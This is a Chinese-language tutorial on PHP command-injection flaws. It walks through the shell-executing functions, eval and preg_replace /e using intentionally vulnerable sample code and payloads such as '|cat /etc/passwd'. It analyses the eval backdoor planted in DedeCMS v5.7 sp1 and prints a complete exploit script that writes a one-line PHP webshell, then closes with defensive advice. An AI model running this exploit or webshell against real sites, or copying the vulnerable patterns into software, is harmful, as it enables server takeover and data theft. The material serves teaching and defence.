PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。本文描述了常见的PHP命令注入攻击漏洞存在形式和利用方法,结合漏洞实例进行分析和漏洞利用,并针对如何防范PHP命令注入攻击漏洞给出了可行的方法和建议。
Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。命令注入攻击最初被称为Shell命令注入攻击,是由挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站删除网页,就像从硬盘中删除一个文件一样简单。下面我们结合PHP语言的特性,对PHP命令注入攻击进行简要的分析和描述。
PHP命令注入攻击
PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。
命令执行函数利用
在PHP中,可以实现执行外部程序或函数的命令执行函数包括以下5个函数。
1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
string system(string command, int &return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取指定目录的文件内容,那么他可以通过构造如下代码实现。
<?
$dir = $_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("ls -al".$dir);
echo "</pre>";
}
?>
Web应用程序员可以通过提交不同的dir内容来获取不同目录下的文件信息,但是黑客可以通过使用下列URL来进行命令注入攻击:
file.php?dir=|cat /etc/passwd
结果system函数执行的命令就变成如下内容:
System(“ls –al|cat /etc/passwd”);
这个命令就会将/etc/passwd文件中的内容反馈给黑客。
同样,构造PHP代码如下:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
system($cmd);
echo "</pre>";
?>
在浏览器中访问这个PHP文件,并提交cmd的内容为“net start”,黑客目的是通过命令注入攻击查看Web服务器主机都开启了哪些服务,访问执行后返回的结果如下图1所示:
图1
2. Exec:exec函数可以用来执行一个外部的应用程序,函数原型如下:
string exec (string command, array &output, int &return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
可以通过构造如下PHP代码进行测试:
<?
$cmd = $_GET["cmd"];
$output = array();
echo "<pre>";
exec($cmd,$output);
echo "</pre>";
while(list($key,$value)=each($output))
{
echo $value."<br>";
}
?>
3. Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
void passthru (string command, int &return_var)
其中,command是要执行的命令,return_var存放执行命令后的状态值。
可以通过构造如下PHP代码进行测试:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>
4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command)
其中,command是要执行的命令。
可以通过构造如下PHP代码进行测试:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
shell_exec($cmd);
echo "</pre>";
?>
5. ``运算符:与shell_exec功能相同,执行shell命令并返回输出的字符串。
可以通过构造如下PHP代码进行测试:
<?
$cmd = $_GET["cmd"];
$output = `$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";
?>
Eval注入攻击利用
在PHP语言中,除了上述5种常见的命令执行函数可以导致命令注入攻击以外,还有另外一种命令注入攻击方式,我们称之为eval注入攻击方式。Eval函数会将参数字符串作为PHP程序代码来执行,用户可以将PHP代码保存成字符串的形式,然后传递给eval函数执行。Eval函数的原型如下:
Mixed eval(string code_str)
Code_str是PHP代码字符串,黑客可以通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击。
为了测试eval命令注入攻击,我们构造PHP代码如下:
<?
$cmd = $_GET["cmd"];
eval($cmd);
?>
然后我们提交cmd内容为“phpinfo();”,phpinfo函数的作用是查看当前php环境相关信息的函数。在浏览器中提交http://127.0.0.1/index.php?cmd=phpinfo();后,返回结果如下图2所示。
图2
我们发现我们提交的字符串“phpinfo();”经过eval函数的处理后,可以按照PHP函数进行执行,并将结果反馈给我们,那么执行相应的其他PHP函数,如写入文件,查询文件信息等功能的代码字符串时,同样可以执行。
PHP语言中的preg_replace函数、str_replace函数以及call_user_func函数同样可以实现eval注入攻击的效果。这里我们以preg_replace函数作为例子进行描述,str_replace函数以及call_user_func函数实现的方法类似,大家可以参考网上对这两个函数的描述自行测试。Preg_replace函数的作用是用来执行常规表达式的查找和替换的,函数原型如下:
Mixed preg_replace(mixed pattern, mixed replacement, mixed subject, int limit, int &count)
其中,Pattern是用来查找的常规表达式,replacement是用来替换的字符串,submit是要查找替换的字符串,limit是可以替换的字符串数,count是成功替换的数目。函数将返回替换后的字符串,当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。为了测试preg_replace函数,我们构造PHP代码如下:
<?
$string = "hello world";
$pattern = "/^/e";
echo preg_replace($pattern, $_GET["str"], $string);
?>
同样在浏览器中提交http://127.0.0.1/index.php?str=phpinfo();,返回结果如下图3所示,phpinfo()函数也被执行了。
图3
漏洞实例分析
通过上述对常见PHP命令注入攻击存在的情况,我们结合实际漏洞存在情况,分析一下如何利用命令注入攻击漏洞。我们这里以国内著名的织梦网站管理系统(DeDeCMS)为例进行描述。
今年3月22日,织梦官方网站提供下载的织梦CMS(Dedecms) v5.7 sp1版本中的shopcar.class.php文件被植入一句后门代码,如图4所示:“@eval(file_get_contents('php://input'));”。
图4
通过分析查看,我们发现代码插入的位置为类MemberShops的构造函数中,而插入的代码正好是我们上面描述存在命令注入攻击的eval函数,那么执行的内容是否为可控内容呢?php://input是一个输入流,可以通过POST方式获取相应的原始数据内容,也就是说eval函数执行的内容可以通过构造POST数据包的方式进行控制,也就导致了命令注入攻击漏洞的形成。那么,要如何利用这个漏洞实施攻击呢?后门代码出现在MemberShops类的构造函数中,那么通过搜索程序中哪些地方使用了这个类就可以进行检测,最简单的方法就是找到没有特殊条件直接执行new操作的页面就可以了。这里使用plus目录下的car.php文件,如图5所示。
图5
在car.php文件的第17行代码处,我们发现了可以被我们利用的地方,那么结合我们刚刚的分析,我们构造一个POST数据包,内容如下图6所示。
图6
这里我们插入的数据内容是“echo "Command Injection Test";”,当数据执行到eval函数时,执行的相应操作为eval(echo "Command Injection Test";);,echo函数的功能是输出相应的字符串,那么我们就可以根据服务器返回的数据包中观察是否含有特征字符串“Command Injection Test”即可。当发现该字符串存在时,说明echo函数被执行了,也就说明命令注入攻击漏洞利用成功。我们在本地测试环境中使用NC对上述构造的POST数据包进行提交,返回的数据报文如下图7所示。
图7
从返回的数据内容中我们发现了我们定义的特征字符串“Command Injection Test”,也说明了echo函数被执行了,该命令注入攻击漏洞可以被成功利用。但是,我们又如何更好地利用这个命令注入攻击漏洞呢?简单输出一个字符串根本无法达到我们入侵渗透网站的目的,那么我们继续尝试构造输入的命令信息,尝试写入一个PHP文件,也就可以成功获取网站的webshell。想写入文件,我们也就想到了PHP中的fputs函数,我们构造提交的数据内容为“fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');”,这句代码的作用是向目录中写入一个1.php的文件,并且文件的内容为“<?php @eval(\$_POST[c])?>”,这个也正是我们常说的PHP一句话木马,为了实现该命令注入攻击漏洞利用的通用性,我们通过PHP构造一个漏洞利用程序,程序代码如下:
<?php
if ($argc < 3) {
print_r("
+---------------------------------------------------------------------------+
Usage: php ".$argv[0]." host path
Example:
php ".$argv[0]." www.xxx.com /dedecms/
+---------------------------------------------------------------------------+
");
exit;
}
error_reporting(7);
ini_set("max_execution_time", 0);
$host = $argv[1];
$path = $argv[2];
$cmd = "echo \"exploitsuccess\"; fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');";
$resp = send($cmd);
if (eregi("exploitsuccess",$resp))
{
echo "[+] Exploit Success!\n";
echo "[+] Webshell: http://".$host.$path."plus/1.php\n";
echo "[+] Webshell Password: c\n";
}else{
echo "[-] Exploit failed!\n";
}
function send($cmd)
{
global $host, $path;
$message = "POST ".$path."plus/car.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Cookie: PHPSESSID=7qmtag178ilo7gep29ubj4n3a1;
OrdersId=UAcELgBRBDNZPAszAWBTal5rBWQANQ86BzANUlcfVTYBNlBg\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
该漏洞利用程序的作用是用户只需要将网站网站域名和dedecms的路径输入即可,程序会自动实现漏洞利用,写入webshell,并将相关信息进行反馈,对本地环境测试的结果如下图8所示:
图8
结果显示我们成功获取webshell,连接地址为http://127.0.0.1/dede/plus/1.php,密码为c。使用工具连接该webshell地址可以成功连接并获取网站目录及文件的相关信息,如下图9所示。
图9
PHP命令注入攻击漏洞的防范
通过上面的分析和描述,我们发现PHP中命令注入攻击漏洞带来的危害和影响很严重。防范命令注入攻击漏洞的存在可以通过以下几种方法。
1. 尽量不要执行外部的应用程序或命令。
2. 使用自定义函数或函数库实现外部应用程序或命令的功能。
3. 在执行system、eval等命令执行功能的函数前,确定参数内容。
4. 使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“;”会被转义为“\;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
5. 使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
PHP命令注入攻击漏洞是PHP应用程序常见漏洞之一。国内著名的PHP应用程序,如discuz!、dedecms等大型程序在网络中均被公布过存在命令注入攻击漏洞,黑客可以通过命令注入攻击漏洞快速获取网站权限,进而实施挂马、钓鱼等恶意攻击,造成的影响和危害十分巨大。同时,目前PHP语言应用于Web应用程序开发所占比例较大,Web应用程序员应该了解命令注入攻击漏洞的危害,修补程序中可能存在的被黑客利用的漏洞情况,保护网络用户的安全,免受挂马、钓鱼等恶意代码的攻击。